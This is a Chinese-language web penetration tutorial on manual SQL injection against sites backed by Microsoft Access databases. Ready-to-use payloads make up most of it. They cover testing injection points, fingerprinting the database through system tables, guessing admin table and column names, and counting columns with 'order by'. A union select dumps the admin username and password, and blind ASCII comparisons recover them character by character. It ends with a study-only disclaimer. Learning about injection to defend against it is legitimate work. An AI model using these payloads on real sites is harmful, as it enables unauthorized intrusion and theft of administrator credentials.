Web渗透
——Access数据库手工注入
找注入点方法:要找有传输值得url
例如:http://000.000.000.000:00/pro_detail.asp?!id=30
要想注入,一定是要在查询的时候注入一些需要执行的sql语句来一起查询,在页面里肯定不行,因为页面没有传输值,传输值有可能是数字也有可能是字符。
代码审计:主要来看一下有没有过滤
Access注入判断注入点:
‘ 在url后直接加 ’ 报错查询不到
and 1=1 然后输入这个,一般来说,这种就被过滤了 在url后面加空格输入and 1=1,这个语句没有什么作用,就是看能不能代入查询,如果页面返回正常,则说明代入查询了,
and 1=2 如果and 1=1正确and1=2错误则说明代入数据库查询了,如果and 1=2仍然正确则说明没有代入数据库查询。
如果and被过滤掉了,可以用or来判断,or的判断与and恰好相反
or 1=1
or 1=2
判断出存在注入以后,接下来要判断是什么的数据库
判断数据库类型的方法,在url后加空格加 and exsits (select*from msysobjects)>0 判断Access 数据库,返回为没有数据或者是没有读取权限,说明是Access数据库 ,如果说不存在,则不是Access数据库
and exsits (select*from sysobjects)>0 判断sqlserver数据库返回为没有数据或者是没有读取权限,说明是sqlserver数据库 ,如果说不存在,则不是sqlserver数据库
判断数据库的表
and exists(select * from admin) 不报错说明存在admin表,报错的话把admin换成user等试一下,这个呢就靠自己的经验因人而异了,也可以直接用字典跑,是不是很暴力啊。
判断表中的字段名
and exists(select admin from admin)
and exists(select user from admin)
and exists(select pass from admin)
同样,不报错说明存在这个字段名。
判断出字段名后接下来需要判断字段长度
url后面加 order by 假如说ordre by10 返回正常 order by20返回正常,order by30报错那么字段长度很明显就是20到30之间,具体是哪个可以采用二分法来确定,假设字段长度是9
确定好了字段长度以后使用 and 1=2 union select 1,2,3,4,5,6,7,8,9 from admin 其中select后面的1到9指的是挨个查询,看他的返回值,比如说返回了一个2,3 那么在使用 and 1=2 union select 1,admin,password,6,7,8,9 from admin 数据库联合查询。就会猜解出密码。
番外篇:
判断账户密码长度:and (select len(admin) from admin)=5 如果返回正常说明管理员账户长度为5,也可以用and (select len(admin) from admin)>10 等进行猜解
判断管理密码长度:and (select len(password) from admin)=5 如果返回正常则说明管理密码长度为5,同样也可以用and (select len(password) from admin)>10进行猜解
比如说,猜解出管理员账户长度为5,接下来要进行猜解管理员账号的第一个数据
通过猜解ascii码来判断
and (select top 1 asc(mid(admin,1,1)) from admin)>100 返回正常则说明大于,不正常则说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)>50返回正常则说明大于,不正常则说明不大于
and (select top 1 asc(mid(admin,1,1)) from admin)=97 返回正常说明第一个字符对应的ascii码为97,97对应的字母为a
以此类推,判断第二个字符
and (select top 1 asc(mid(admin,2,1)) from admin)>100返回正常则说明大于,不正常则说明不大于
第三个:
and (select top 1 asc(mid(admin,3,1)) from admin)>100返回正常则说明大于,不正常则说明不大于
判断管理员密码的第一个数据:
and (select top 1 asc(mid(password,1,1)) from admin)>100 返回正常则说明大于,不正常则说明不大于
后面猜解的步骤一样,就不一一列举了,通过这样的方法最终也能猜解出管理员帐号密码。
总结来说,要想成功的通过注入来拿一些比较简单的站的话一般步骤是找注入-->判断数据库-->猜表名-->猜字段名-->
猜字段长度-->数据库联合查询
以上注入为纯手工注入,练习熟悉语法以及流程的,其实也可以使用啊D、明小子、萝卜头等工具来自动跑一下,效率还是比较高的。能力有限,欢迎各路大牛指正。本文仅用于学习交流,请勿用于违法操作。